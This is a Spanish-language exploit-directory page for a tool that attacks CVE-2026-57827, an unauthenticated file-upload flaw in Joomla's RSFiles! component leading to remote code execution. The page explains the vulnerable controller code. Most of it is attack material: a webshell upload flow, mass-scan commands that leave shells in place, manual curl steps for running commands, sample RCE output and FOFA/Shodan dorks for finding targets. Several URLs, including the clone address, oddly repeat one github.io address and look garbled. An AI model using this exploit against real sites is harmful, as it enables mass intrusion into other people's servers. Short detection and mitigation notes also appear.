Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-57827 — Demostrar la vulnerabilidad de ejecución remota de código no autenticada en el componente RSFiles! de Joomla a través de una carga arbitraria de archivos. | Kitploit
Herramientas/GitHubGitHub/candisexterior171/cve-2026-57827
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubcandisexterior171/cve-2026-57827

CVE-2026-57827

Demostrar la vulnerabilidad de ejecución remota de código no autenticada en el componente RSFiles! de Joomla a través de una carga arbitraria de archivos.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
34hace 15 díasAún no revisado

CVE-2026-57827 — RCE por carga de archivos sin autenticación en el componente RSFiles! para Joomla

Bypass de carga mediante controlador dividido → Tarea de escritura directa → /downloads/shell.php → RCE


Descripción general

CVE-2026-57827 es una vulnerabilidad de severidad crítica (CVSS 9.8) de carga arbitraria de archivos sin autenticación en RSFiles! (com_rsfiles), un componente de gestor de archivos y descargas ampliamente utilizado para Joomla, en versiones < 1.17.12.

La vulnerabilidad explota un fallo de diseño de controlador dividido: RSFiles! separa su carga en dos tareas de frontend — una comprobación previa (control de permisos + lista de extensiones permitidas) y un método de escritura (guarda el archivo en disco). El método de escritura puede invocarse directamente, omitiendo por completo la comprobación previa. No se requiere autenticación ni token CSRF.

Versiones afectadas

VersiónEstado
< 1.17.12Vulnerable
1.17.12+Parcheada

Descubierto por: Phil Taylor, mySites.guru (10 de julio de 2026) Proveedor: RSJoomla (rsjoomla.com) Componente: com_rsfiles


Mecanismo de la vulnerabilidad

Causa raíz

RSFiles! divide su carga entre dos tareas de frontend separadas en /components/com_rsfiles/controllers/rsfiles.php:

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Por qué funciona

  1. Controlador dividido — Las comprobaciones de seguridad y la escritura del archivo están en dos métodos diferentes. Solo la comprobación previa está protegida.
  2. Acceso directo a tareas — El controlador frontend de Joomla permite llamar a cualquier tarea directamente mediante &task=rsfiles.upload, omitiendo por completo la comprobación previa.
  3. Sin autenticación — El controlador frontend no tiene comprobación de acceso. Los visitantes anónimos pueden llamar a la tarea de escritura.
  4. Sin token CSRF — El formulario de carga del frontend no tiene token CSRF de todo el sitio.
  5. Sin validación del tipo de archivo — El método de escritura lee el nombre del archivo de la solicitud y lo pasa al gestor de cargas incluido en Joomla (JFile::upload()), que acepta cualquier tipo de archivo por defecto.
  6. Carpeta de descargas en la raíz web — La carpeta de descargas predeterminada de RSFiles! se encuentra dentro de la raíz web. El .htaccess protector que detendría la ejecución de PHP allí es una configuración de administración opcional que está DESACTIVADA por defecto.

Flujo del ataque

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Referencias de código fuente verificadas

ArchivoPropósito
/components/com_rsfiles/controllers/rsfiles.phpControlador con las tareas vulnerables upload() y checkupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpPlantilla del formulario de carga del frontend (confirmado: name="file", task=rsfiles.upload)
/downloads/Carpeta de descargas predeterminada en la raíz web (protección .htaccess DESACTIVADA por defecto)
/briefcase/Carpeta Briefcase (también escribible)

Detección en registros del servidor (del aviso de RSJoomla)

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Fallo de diseño clave

Las comprobaciones de seguridad (puerta de permisos + lista de extensiones permitidas) son un paso previo separado del método que realmente escribe el archivo. Solo el primero contiene las comprobaciones. El segundo —el que escribe en el disco— podría ser invocado directamente manipulando el parámetro task adecuado en la URL, eludiendo todos los controles de seguridad.

Este es un ejemplo de manual del antipatrón "comprobaciones y acciones en lugares distintos": la protección y la operación que se supone que debe proteger están desacopladas, y un atacante puede alcanzar la operación sin pasar por la protección.


Instalación

git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests

Uso

# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Argumentos

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prueba de concepto

Objetivo único

$ python cve_2026_57827.py -t joomla-site.com
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://candisexterior171.github.io
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Explotación manual

Paso 1 — Subir el shell

curl -X POST 'https://candisexterior171.github.io' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Paso 2 — Acceder al shell

curl 'https://candisexterior171.github.io'

Paso 3 — Ejecutar comandos

curl 'https://candisexterior171.github.io;hostname;uname -a'

Mitigación (si la actualización no es posible)

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

Impacto

Descargar herramienta